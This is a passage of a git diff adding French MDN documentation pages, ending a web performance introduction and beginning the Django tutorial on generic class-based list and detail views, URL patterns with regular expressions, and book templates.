{{LearnSidebar}}
+ +
{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}
+ +

La performance Web consiste à rendre les sites Web rapides, y compris à rendre les processus lents rapides. Cet article explique pourquoi les performances Web sont importantes pour les visiteurs du site et pour vos objectifs commerciaux.

+ + + + + + + + + + + + +
Prérequis:Connaissances de base en informatique, installation des outils de base, et connaissances de base des technologies Web côté client.
Objectif:Connaître les raisons pour lesquelles les performances Web sont importantes pour une bonne expérience utilisateur.
+ +

Les performances Web font référence à la rapidité avec laquelle le contenu du site se charge et s'affiche dans un navigateur web, et à la façon dont il répond à l'interaction de l'utilisateur. Les sites peu performants sont lents à afficher et à répondre aux entrées. Les sites mal performants augmentent l'abandon des sites. Au pire, une mauvaise performance rend le contenu totalement inaccessible. Un bon objectif pour les performances Web est que les utilisateurs ne remarquent pas les performances. Alors que la perception d'un individu sur les performances du site est subjective, le chargement et le rendu peuvent être mesurés. De bonnes performances peuvent ne pas être évidentes pour la plupart des visiteurs du site, mais la plupart reconnaîtront immédiatement un site lent. C'est pourquoi nous nous soucions de cela.

+ +

Pourquoi se soucier de la performance?

+ +

Les performances Web et les meilleurs pratiques associées sont essentielles pour que les visiteurs de votre site Web aient une bonne expérience. En un sens, les performances Web peuvent être considérées comme un sous-ensemble de l'accessibilité web. Avec les performaces comme avec l'accessibilité, vous considérez que appareil un visiteur du site utilise pour accéder au site et la vitesse de connexion de l'appareil.

+ +

À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article,  avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo.

+ +
    +
  • Imaginez charger ceci sur un ordinateur de bureau connecté à un réseau de fibre optique. Cela semblerait relativement rapide, et la taille du fichier serait en grande partie sans importance.
    • +
  • Imaginez charger ce même site en utilisant des données mobiles connectées sur un iPad de 9 ans tout en vous rendant chez vous en transport en commun. Le même site sera lent à se charger, voir presque inutilisable en fonction de la couverture cellulaire. Vous pourriez abandonner avant la fin du chargement.
    • +
  • Imaginez charger ce même site sur un appareil Huawei à 35$ dans une Inde rurale avec une couverture limitée ou pas de couverture. Le site sera très lent à se charger - s'il se charge du tout - avec des scripts de blocage pouvant expirer et un impact négatif sur le processeur provoquant des plantages du navigateur s'il se charge.
    • +
+ +

Un site de 22.6 Mo peut prendre jusqu'à 83 secondes pour se charger sur un réseau 3G, avec DOMContentLoaded (c'est-à-dire la structure HTML de base du site) à 31.86 secondes.

+ +

Et ce n'est pas seulement le temps de téléchargement qui est un problème majeur. De nombreux pays ont encore des connexions internet facturées âr mégaoctet. Notre exemple de 22,6 Mo d'expérience CNN.com coûterait environ 11% du salaire quotidien moyen d'un Indien à télécharger. À partir d'un appareil mobile en Afrique du Nord-Ouest, cela peut coûter deux jours de salaire moyen. Et si ce site était chargé sur le plan d'itinérance internationale d'un opérateur américain? Les coûts feraient pleurer n'importe qui. (Voir combien coûte le téléchargement de votre site.)

+ +

+ +

Améliorer les taux de conversion

+ +

La réduction du temps de téléchargement et de rendu d'un site améliore les taux de conversion et la fidélisation des utilisateurs.

+ +

Un taux de conversion est le taux auquel les visiteurs du site effectuent une action mesurée ou souhaitée. Par exemple, il peut s'agir d'effectuer un achat, de lire un article ou de vous abonner à une newsletter. L'action mesurée en tant que taux de conversion dépend des objectifs commerciaux du site web.

+ +

La performance influe sur la conversion; l'amélioration des performances Web améliore la conversion. Les visiteurs du site s'attendent à ce qu'un site se charge en deux secondes ou moins; parfois encore moins sur mobile (où cela prend généralement plus de temps). Ces mêmes visiteurs du site commencent à abandonner les sites lents à 3 secondes.

+ +

La vitesse à laquelle un site se charge est un facteur. Si le site est lent à réagir à l'interaction de l'utilisateur, ou semble saccadé, cela entraîne une perte d'intérêt et de confiance des visiteurs du site.

+ +

Voici quelques exemples concrets d'améliorations des performances:

+ + + +

Pour créer des sites Web et des applications que les gens veulent utiliser; pour attirer et fidéliser les visiteurs du site, vous devez créer un site accessible qui offre une bonne expérience utilisateur. La création de sites Web nécessite HTML, CSS et JavaScript, y compris généralement des types de fichiers binaires tels que des images et des vidéos. Les décisions que vous prenez et les outils que vous choisissez lors de la création de votre site peuvent grandement affecter les performances du travail fini.

+ +

Une bonne performance est un atout. Une mauvaise performance est une responsabilité. La vitesse du site affecte directement les taux de rebond, la conversion, les revenus, la satisfaction des utilisateurs et le classement des moteurs de recherche. Il a été démontré que les sites performants augmentent la rétention des visiteurs et la satisfaction des utilisateurs. Il a été démontré que la lenteur du contenu conduit à l'abandon du site, certains visiteurs partant pour ne jamais revenir. La réduction de la quantité de données qui passe entre le client et le serveur réduit les coûts pour toutes les parties. La réduction de la taille des fichiers HTML/CSS/JavaScript et multimédia réduit à la fois le temps de chargement et la consommation d'énergie d'un site (voir performance budgets).

+ +

Le suivi des performances est important. Plusieurs facteurs, notamment la vitesse du réseau et les capacités de l'appareil, affectent les performances. Il n'y a pas de mesure de performance unique; et des objectifs commerciaux différents peuvent signifier que différentes mesures sont plus pertinentes pour les objectifs du site ou de l'organisation qu'il prend en charge. La perception de la performance de votre site est l'expérience utilisateur!

+ +

Conclusion

+ +

Les performances Web sont importantes pour l'accessibilité et également pour d'autres mesures de site Web qui servent les objectifs d'une organisation ou d'une entreprise. Les bonnes ou mauvaises performances du site Web sont fortement corrélées à l'expérience utilisateur, ainsi qu'à l'efficacité globale de la plupart des sites. C'est pourquoi vous devez vous soucier des performances Web.

+ +

{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/server-side/django/generic_views/index.html b/files/fr/learn/server-side/django/generic_views/index.html new file mode 100644 index 0000000000..f2d48431fc --- /dev/null +++ b/files/fr/learn/server-side/django/generic_views/index.html @@ -0,0 +1,634 @@ +--- +title: 'Tutoriel Django - 6e partie : Vues génériques pour les listes et les détails' +slug: Learn/Server-side/Django/Vues_generiques +tags: + - Beginner + - Learn + - Tutorial + - django + - django templates + - django views +translation_of: Learn/Server-side/Django/Generic_views +--- +
+ +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}
+ +
Ce tutoriel améliore notre site web LocalLibrary, en ajoutant des pages de listes et de détails pour les livres et les auteurs. Ici nous allons apprendre les vues génériques basées sur des classes, et montrer comment elles peuvent réduire le volume de code à écrire pour les cas ordinaires. Nous allons aussi entrer plus en détail dans la gestion des URLs, en montrant comment réaliser des recherches de patterns simples.
+ + + + + + + + + + + + +
Prérequis: +

Avoir terminé tous les tutoriels précédents, y compris Django Tutorial Part 5: Creating our home page.

+
Objectif: +

Comprendre où et comment utiliser des vues génériques basées sur classes, et comment extraire des patterns dans des URLs pour transmettre les informations aux vues.

+
+ +

Aperçu

+ +

Dans ce tutoriel, nous allons terminer la première version du site web LocalLibrary, en ajoutant des pages de listes et de détails pour les livres et les auteurs (ou pour être plus précis, nous allons vous montrer comment implémenter les pages concernant les livres, et vous faire créer vous-mêmes les pages concernant les auteurs !).

+ +

Le processus est semblable à celui utilisé pour créer la page d'index, processus que nous avons montré dans le tutoriel précédent. Nous allons avoir de nouveau besoin de créer des mappages d'URLs, des vues et des templates. La principale différence est que, pour la page des détails, nous allons avoir le défi supplémentaire d'extraire de l'URL des informations que nous transmettrons à la vue. Pour ces pages, nous allons montrer comment utiliser un type de vue complètement différent : des vues "listes" et "détails" génériques et basées sur des classes. Cela peut réduire significativement la somme de code nécessaire, les rendant ainsi faciles à écrire et à maintenir.

+ +

La partie finale de ce tutoriel montrera comment paginer vos données quand vous utilisez des vues "listes" génériques basées sur des classes.

+ +

Page de liste de livres

+ +

La page de liste des livres va afficher une liste de tous les enregistrements de livres disponibles, en utilisant l'URL: catalog/books/. La page va afficher le titre et l'auteur pour chaque enregistrement, et le titre sera un hyperlien vers la page de détails associée. La page aura la même structure et la même zone de navigation que les autres pages du site, et nous pouvons dès lors étendre le template de base (base_generic.html) que nous avons créé dans le tutoriel précédent.

+ +

Mappage d'URL

+ +

Ouvrez le fichier /catalog/urls.py, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction path() définit un pattern destiné à identifier l'URL ('books/'), une fonction vue qui sera appelée si l'URL correspond (views.BookListView.as_view()), et un nom pour ce mappage particulier.

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+]
+ +

Comme discuté dans le tutoriel précédent, l'URL doit auparavant avoir identifié la chaîne /catalog, aussi la vue ne sera réellement appelée que pour l'URL complète: /catalog/books/.

+ +

La fonction vue a un format différent de celui que nous avions jusqu'ici : c'est parce que cette vue sera en réalité implémentée sous forme de classe. Nous allons la faire hériter d'une fonction vue générique existante, qui fait la plus grande partie de ce que nous souhaitons réaliser avec cette vue, plutôt que d'écrire notre propre fonction à partir de zéro.

+ +

En Django, on accède à la fonction appropriée d'une vue basée sur classe en appelant sa méthode de classe as_view(). Cela a pour effet de créer une instance de la classe, et de s'assurer que les bonnes méthodes seront appelées lors de requêtes HTTP.

+ +

Vue (basée sur classe)

+ +

Nous pourrions assez aisément écrire la vue "liste de livres" comme une fonction ordinaire (comme notre précédente vue "index"), qui interrogerait la base de données pour tous les livres, et qui ensuite appellerait render() pour passer la liste à un template spécifique. À la place, cependant, nous allons utiliser une vue "liste" générique, basée sur une classe (ListView), une classe qui hérite d'une vue existante. Parce que la vue générique implémente déjà la plupart des fonctionnalités dont nous avons besoin et suit les meilleures pratiques Django, nous pourrons créer une vue "liste" plus robuste avec moins de code, moins de répétition, et au final moins de maintenance.

+ +

Ouvrez le fichier catalog/views.py, et copiez-y le code suivant à la fin :

+ +
from django.views import generic
+
+class BookListView(generic.ListView):
+    model = Book
+ +

C'est tout ! La vue générique va adresser une requête à la base de données pour obtenir tous les enregistrements du modèle spécifié (Book), et ensuite rendre un template situé à l'adresse /locallibrary/catalog/templates/catalog/book_list.html (que nous allons créer ci-dessous). À l'intérieur du template vous pouvez accéder à la liste de livres grâce à la variable de template appelée object_list OU book_list (c'est-à-dire l'appellation générique "the_model_name_list").

+ +
+

Note : Ce chemin étrange vers le lieu du template n'est pas une faute de frappe : les vues génériques cherchent les templates dans /application_name/the_model_name_list.html (catalog/book_list.html dans ce cas) à l'intérieur du répertoire /application_name/templates/ (/catalog/templates/).

+
+ +

Vous pouvez ajouter des attributs pour changer le comportement par défaut utilisé ci-dessus. Par exemple, vous pouvez spécifier un autre fichier de template si vous souhaitez avoir plusieurs vues qui utilisent ce même modèle, ou bien vous pourriez vouloir utiliser un autre nom de variable de template, si book_list n'est pas intuitif par rapport à l'usage que vous faites de vos templates. Probablement, le changement le plus utile est de changer/filtrer le sous-ensemble des résultats retournés : au lieu de lister tous les livres, vous pourriez lister les 5 premiers livres lus par d'autres utilisateurs.

+ +
class BookListView(generic.ListView):
+    model = Book
+    context_object_name = 'my_book_list'   # your own name for the list as a template variable
+    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location
+ +

Ré-écrire des méthodes dans des vues basées sur classes

+ +

Bien que nous n'ayons pas besoin de le faire ici, sachez qu'il vous est possible de ré-écrire des méthodes de classe.

+ +

Par exemple, nous pouvons ré-écrire la méthode get_queryset() pour changer la liste des enregistrements retournés. Cette façon de faire est plus flexible que simplement définir l'attribut queryset, comme nous l'avons fait dans le précédent fragment de code (bien qu'il n'y ait pas vraiment d'intérêt dans ce cas) :

+ +
class BookListView(generic.ListView):
+    model = Book
+
+    def get_queryset(self):
+        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+
+ +

Nous pourrions aussi réécrire get_context_data(), afin d'envoyer au template des variables de contexte supplémentaires (par défaut c'est la liste de livres qui est envoyée). Le bout de code ci-dessous montre comment ajouter une variable appelée "some_data" au contexte (elle sera alors accessible comme variable de template).

+ +
class BookListView(generic.ListView):
+    model = Book
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get the context
+        context = super(BookListView, self).get_context_data(**kwargs)
+        # Create any data and add it to the context
+        context['some_data'] = 'This is just some data'
+        return context
+ +

Quand vous faites cela, il est important de suivre la procédure indiquée ci-dessus :

+ +
    +
  • D'abord récupérer auprès de la superclasse le contexte existant.
    • +
  • Ensuite ajouter la nouvelle information de contexte.
    • +
  • Enfin retourner le nouveau contexte (mis à jour).
    • +
+ +
+

Note : Voyez dans Built-in class-based generic views (doc de Django) pour avoir beaucoup plus d'exemples de ce que vous pouvez faire.

+
+ +

Créer le template pour la Vue Liste

+ +

Créez le fichier HTML /locallibrary/catalog/templates/catalog/book_list.html, et copiez-y le texte ci-dessous. Comme nous l'avons dit ci-dessus, c'est ce fichier que va chercher par défaut la classe générique "liste" basée sur une vue (dans le cas d'un modèle appelé Book, dans une application appelée catalog).

+ +

Les templates pour vues génériques sont exactement comme les autres templates (cependant, bien sûr, le contexte et les informations envoyées au templates peuvent être différents). Comme pour notre template index, nous étendons notre template de base à la première ligne, et remplaçons ensuite le bloc appelé content.

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Book List</h1>
+  {% if book_list %}
+  <ul>
+    {% for book in book_list %}
+      <li>
+        <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
+      </li>
+    {% endfor %}
+  </ul>
+  {% else %}
+    <p>There are no books in the library.</p>
+  {% endif %} 
+{% endblock %}
+ +

La vue envoie le contexte (liste de livres), en utilisant par défaut les alias object_list et book_list ; l'un et l'autre fonctionnent.

+ +

Exécution conditionnelle

+ +

Nous utilisons les balises de templates if, else, et endif pour vérifier que la book_list a été définie et n'est pas vide. Si book_list est vide, alors la condition else affiche un texte expliquant qu'il n'y a pas de livres à lister. Si book_list n'est pas vide, nous parcourons la liste de livres.

+ +
{% if book_list %}
+  <!-- code here to list the books -->
+{% else %}
+  <p>There are no books in the library.</p>
+{% endif %}
+
+ +

La condition ci-dessus ne vérifie qu'un seul cas, mais vous pouvez ajouter d'autres tests grâce à la balise de template elif (par exemple {% elif var2 %}). Pour plus d'information sur les opérateurs conditionnels, voyez ici :  if, ifequal/ifnotequal, et ifchanged dans Built-in template tags and filters (Django Docs).

+ +

Boucles for

+ +

Le template utilise les balises de template for et endfor pour boucler à travers la liste de livres, comme montré ci-dessous. Chaque itération peuple la variable de template book avec l'information concernant l'élément courant de la liste.

+ +
{% for book in book_list %}
+  <li> <!-- code here get information from each book item --> </li>
+{% endfor %}
+
+ +

Bien que nous ne l'utilisions pas ici, Django, à l'intérieur de la boucle, va aussi créer d'autres variables que vous pouvez utiliser pour suivre l'itération. Par exemple, vous pouvez tester la variable forloop.last pour réaliser une action conditionnelle au dernier passage de la boucle.

+ +

Accéder aux variables

+ +

Le code à l'intérieur de la boucle crée un élément de liste pour chaque livre, élément qui montre à la fois le titre (comme lien vers la vue détail, encore à créer), et l'auteur.

+ +
<a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}})
+
+ +

Nous accédont aux champs de l'enregistrement "livre" associé, en utilisant la notation "à points" (par exemple book.title et book.author), où le texte suivant l'item book est le nom du champ (comme défini dans le modèle).

+ +

Nous pouvons aussi appeler des fonctions contenues dans le modèle depuis l'intérieur de notre template — dans ce cas nous appelons Book.get_absolute_url() pour obtenir une URL que vous pouvez utiliser pour afficher dans la vue détail l'enregistrement associé. Cela fonctionne, pourvu que la fonction ne comporte pas d'arguments (il n'y a aucun moyen de passer des arguments !).

+ +
+

Note : Il nous faut être quelque peu attentif aux "effets de bord" quand nous appelons des fonctions dans nos templates. Ici nous récupérons simplement une URL à afficher, mais une fonction peut faire à peu près n'importe quoi — nous ne voudrions pas effacer notre base de données (par exemple) juste parce que nous avons affiché notre template !

+
+ +

Mettre à jour le template de base

+ +

Ouvrez le template de base (/locallibrary/catalog/templates/base_generic.html) et insérez {% url 'books' %} dans le lien URL pour All books, comme indiqué ci-dessous. Cela va afficher le lien dans toutes les pages (nous pouvons mettre en place ce lien avec succès, maintenant que nous avons créé le mappage d'URL "books").

+ +
<li><a href="{% url 'index' %}">Home</a></li>
+<li><a href="{% url 'books' %}">All books</a></li>
+<li><a href="">All authors</a></li>
+ +

À quoi cela ressemble-t-il ?

+ +

Vous ne pouvez pas encore construire la liste des livres, car il nous manque toujours une dépendance, à savoir le mappage d'URL pour la page de détail de chaque livre, qui est requise pour créer des hyperliens vers chaque livre. Nous allons montrer les vues liste et détail après la prochaine section.

+ +

Page de détail d'un livre

+ +

La page de détail d'un livre va afficher les informations sur un livre précis, auquel on accède en utilisant l'URL catalog/book/<id> (où <id> est la clé primaire pour le livre). En plus des champs définis dans le modèle Book (auteur, résumé, ISBN, langue et genre), nous allons aussi lister les détails des copies disponibles (BookInstances), incluant le statut, la date de retour prévue, la marque d'éditeur et l'id. Cela permettra à nos lecteurs, non seulement de s'informer sur le livre, mais aussi de confirmer si et quand il sera disponible.

+ +

Mappage d'URL

+ +

Ouvrez /catalog/urls.py et ajoutez-y le mappeur d'URL 'book-detail' indiqué en gras ci-dessous. Cette fonction path() définit un pattern, la vue générique basée sur classe qui lui est associée, ainsi qu'un nom.

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+    path('book/<int:pk>', views.BookDetailView.as_view(), name='book-detail'),
+]
+ +

Pour le chemin book-detail, le pattern d'URL utilise une syntaxe spéciale pour capturer l'id exact du livre que nous voulons voir. La syntaxe est très simple : les chevrons ('<' et '>') définissent la partie de l'URL qui doit être capturée et encadrent le nom de la variable que la vue pourra utiliser pour accéder aux données capturées. Par exemple, <something>  va capturer le pattern marqué et passer la valeur à la vue en tant que variable "something". De manière optionnelle, vous pouvez faire précéder le nom de variable d'une spécification de convertisseur, qui définit le type de la donnée (int, str, slug, uuid, path).

+ +

Dans ce cas, nous utilisons '<int:pk>' pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé pk (abbréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book.

+ +
+

Note : Comme nous l'avons dit précédemment, notre URL correcte est en réalité catalog/book/<digits> (comme nous sommes dans l'application catalog, /catalog/ est supposé).

+
+ +
+

Important : La vue générique basée sur classe "détail" s'attend à recevoir un paramètre appelé pk. Si vous écrivez votre propre fonction, vous pouvez utiliser le nom que vous voulez pour votre paramètre, ou même passer l'information avec un argument non nommé.

+
+ +

Introduction aux chemins et expressions régulières avancés

+ +
+

Note : Vous n'aurez pas besoin de cette section pour achever le tutoriel ! Nous en parlons parce que nous savons que cette option vous sera probablement utile dans votre avenir centré sur Django.

+
+ +

La recherche de pattern fournie par path() est simple et utile pour les cas (très communs) où vous voulez seulement capturer n'importe quelle chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode re_path().

+ +

Cette méthode est utilisée exactement comme path(), sauf qu'elle vous permet de spécifier un pattern utilisant une Expression régulière. Par exemple, le chemin précédent pourrait avoir été écrit ainsi :

+ +
re_path(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),
+
+ +

Les expressions régulières sont un outil de recherche de pattern extrêmement puissant. Ils sont, il est vrai, assez peu intuitifs et peuvent se révéler intimidants pour les débutants. Ci-dessous vous trouverez une introduction très courte !

+ +

La première chose à savoir est que les expressions régulières devraient ordinairement être déclarées en utilisant la syntaxe "chaîne littérale brute" (c'est-à-dire encadrées ainsi : r'<votre texte d'expression régulière va ici>').

+ +

L'essentiel de ce que vous aurez besoin de savoir pour déclarer une recherche de pattern est contenu dans le tableau qui suit :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SymbolMeaning
^Recherche le début du texte.
$Recherche la fin du texte.
\dRecherche un digit (0, 1, 2, ... 9).
\wRecherche un caractère de mot, c'est-à-dire tout caractère dans l'alphabet (majuscule ou minuscule), un digit ou un underscore (_).
+Recherche au moins une occurence du caractère précédent. Par exemple, pour rechercher au moins 1 digit, vous utiliseriez \d+. Pour rechercher au moins 1 caractère "a", vous utiliseriez a+.
*Recherche zéro ou plus occurrence(s) du caractère précédent. Par exemple, pour rechercher "rien ou un mot", vous pourriez utiliser \w*.
( )Capture la partie du pattern contenue dans les parenthèses. Toutes les valeurs capturées seront passées à la vue en tant que paramètres non nommés (si plusieurs patterns sont capturés, les paramètres associés seront fournis dans l'ordre de déclaration des captures).
(?P<name>...)Capture le pattern (indiqué par …) en tant que variable nommée (dans ce cas "name"). Les valeurs capturées sont passées à la vue avec le nom spécifié. Votre vue doit par conséquent déclarer un argument avec le même nom !
[  ]Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot.
+ +

La plupart des autres caractères peuvent être pris littéralement.

+ +

Considérons quelques exemples réels de patterns :

+ + + + + + + + + + + + + + + + + + + + + + +
PatternDescription
r'^book/(?P<pk>\d+)$' +

C'est là l'expression régulière utilisée dans notre mappeur d'URL. Elle recherche une chaîne qui a book/ au commencement de la ligne (^book/), ensuite a au moins 1 digit (\d+), et enfin se termine (avec aucun caractère non-digit avant la fin du marqueur de ligne).

+ +

Elle capture aussi tous les digits (?P<pk>\d+) et les passe à la vue dans un paramètre appelé 'pk'. Les valeurs capturées sont toujours passées comme des chaînes !

+ +

Par exemple, cette expression régulière trouverait une correspondance dans l'URL book/1234, et enverrait alors une variable pk='1234' à la vue.

+
r'^book/(\d+)$' +

Ceci rechercher la même URL que dans le cas précédent. L'information capturée serait envoyée à la vue en tant qu'argument non nommé.

+
r'^book/(?P<stub>[-\w]+)$' +

Ceci recherche une chaîne qui a book/ au commencement de la ligne (^book/), ensuite a au moins 1 caractère étant soit un '-', soit un caractère de mot ([-\w]+), puis la fin. Ce pattern capture aussi cet ensemble de caractères et le passe à la vue en tant que paramètre nommé 'stub'.

+ +

Ceci est un pattern relativement typique pour un "stub". Les stubs sont des clés primaires basées sur des mots (plus agréables que des IDs) pour retrouver des données. Vous pouvez utiliser un stub si vous voulez que votre URL de livre contienne plus d'informations. Par exemple /catalog/book/the-secret-garden, plutôt que /catalog/book/33.

+
+ +

Vous pouvez capturer plusieurs patterns en une seule fois, et donc encoder beaucoup d'informations différentes dans l'URL.

+ +
+

Note : Comme défi, essayez d'envisager comment vous devriez encoder une URL pour lister tous les livres sortis en telle année, à tel mois et à tel jour, et l'expression régulière qu'il faudrait utiliser pour la rechercher.

+
+ +

Passer des options supplémentaires dans vos mappages d'URL

+ +

Une fonctionnalité que nous n'avons pas utilisée ici, mais que vous pourriez trouver valable, c'est que vous pouvez passer à la vue des options supplémentaires. Les options sont déclarées comme un dictionnaire que vous passez comme troisième argument (non nommé) à la fonction path(). Cette approche peut être utile si vous voulez utiliser la même vue pour des ressources multiples, et passer des données pour configurer son comportement dans chaque cas (ci-dessous nous fournissons un template différent dans chaque cas).

+ +
path('url/', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'),
+path('anotherurl/', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'),
+
+ +
+

Note : Les options supplémentaires aussi bien que les patterns capturés sont passés à la vue comme arguments nommés. Si vous utilisez le même nom pour un pattern capturé et une option supplémentaire, alors seul la value du pattern capturé sera envoyé à la vue (la valeur spécifiée dans l'option supplémentaire sera abandonnée).

+
+ +

Vue (basée sur classe)

+ +

Ouvrez catalog/views.py, et copiez-y le code suivant à la fin du fichier :

+ +
class BookDetailView(generic.DetailView):
+    model = Book
+ +

C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé /locallibrary/catalog/templates/catalog/book_detail.html, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement Book spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée object OU book (c'est-à-dire, de manière générique, "le_nom_du_modèle").

+ +

Si vous en avez besoin, vous pouvez changer le template utilisé et le nom de l'objet-contexte utilisé pour désigner le livre dans le template. Vous pouvez aussi renommer les méthodes pour, par exemple, ajouter des informations supplémentaires au contexte.

+ +

Que se passe-t-il si l'enregistrement n'existe pas ?

+ +

Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception Http404 — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin.

+ +

Juste pour vous donner une idée de la manière dont tout cela fonctionne, le morceau de code ci-dessous montre comment vous implémenteriez cette vue comme une fonction si vous n'utilisiez pas la vue générique basée sur classe "détail".

+ +
def book_detail_view(request, primary_key):
+    try:
+        book = Book.objects.get(pk=primary_key)
+    except Book.DoesNotExist:
+        raise Http404('Book does not exist')
+
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+
+ +

La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception Http404 pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler render() avec le nom du template et les données concernant le livre dans le paramètre context (comme un dictionnaire).

+ +

Une alternative consiste à utiliser la fonction get_object_or_404() comme un raccourci pour lever une exception Http404 si l'enregistrement n'existe pas.

+ +
from django.shortcuts import get_object_or_404
+
+def book_detail_view(request, primary_key):
+    book = get_object_or_404(Book, pk=primary_key)
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+ +

Créerle template de la Vue Détail

+ +

Créez le fichier HTML /locallibrary/catalog/templates/catalog/book_detail.html, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe detail (pour un modèle appelé Book dans une application appelée catalog).

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>Title: \{{ book.title }}</h1>
+
+  <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined -->
+  <p><strong>Summary:</strong> \{{ book.summary }}</p>
+  <p><strong>ISBN:</strong> \{{ book.isbn }}</p>
+  <p><strong>Language:</strong> \{{ book.language }}</p>
+  <p><strong>Genre:</strong> \{{ book.genre.all|join:", " }}</p>
+
+  <div style="margin-left:20px;margin-top:20px">
+    <h4>Copies</h4>
+
+    {% for copy in book.bookinstance_set.all %}
+      <hr>
+      <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}">
+        \{{ copy.get_status_display }}
+      </p>
+      {% if copy.status != 'a' %}
+        <p><strong>Due to be returned:</strong> \{{ copy.due_back }}</p>
+      {% endif %}
+      <p><strong>Imprint:</strong> \{{ copy.imprint }}</p>
+      <p class="text-muted"><strong>Id:</strong> \{{ copy.id }}</p>
+    {% endfor %}
+  </div>
+{% endblock %}
+ +
    +
+ +
+

Le lien vers l'auteur dans le template ci-dessus est vide, parce que nous n'avons pas encore crée de page détail pour un auteur. Une fois que cette page sera créée, vous pourrez remplacer l'URL par ceci :

+ +
<a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a>
+
+
+ +

Bien qu'en un peu plus grand, presque tout ce qu'il y a dans ce template a été décrit précédemment :

+ +
    +
  • Nous étendons notre template de base et récrivons le block "content".
    • +
  • Nous utilisons une procédure conditionnelle pour déterminer s'il faut ou non afficher tel contenu spécifique.
    • +
  • Nous utilisons une boucle for pour boucler sur des listes d'objets.
    • +
  • Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique detail, le contexte est nommé book ; nous pourrions aussi utiliser "object").
    • +
+ +

Une chose intéressante que nous n'avons pas encore vue, c'est la fonction book.bookinstance_set.all(). Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements BookInstance associés à un Book particulier.

+ +
{% for copy in book.bookinstance_set.all %}
+  <!-- code to iterate across each copy/instance of a book -->
+{% endfor %}
+ +

Cette méthode est requise parce que vous déclarez un champ ForeignKey (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la ForeignKey, suivi de _set (ainsi la fonction créée dans Book est bookinstance_set()).

+ +
+

Note : Ici nous utilisons all() pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode filter() pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions.

+ +

Prenez garde également que, si vous ne définissez pas un ordre (dans votre vue basée sur classe ou votre modèle), vous allez voir des erreurs de ce genre en provenance du serveur de développement :

+ +
[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
+/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]>
+  allow_empty_first_page=allow_empty_first_page, **kwargs)
+
+ +

Ceci vient du fait que l'objet paginator s'attend à ce qu'un ORDER BY soit exécuté sur votre base de données sous-jacente. Sans cela il ne peut pas être sûr que les enregistrements retournés sont vraiment dans le bon ordre !

+ +

Ce tutoriel n'a pas (encore !) traité de la pagination, mais comme vous ne pouvez pas utiliser sort_by() et passer un paramètre (pour la même raison que le filter() décrit précédemment), vous avez le choix entre trois options :

+ +
    +
  1. Ajouter un ordering lors de la déclaration de la class Meta dans votre modèle.
    2. +
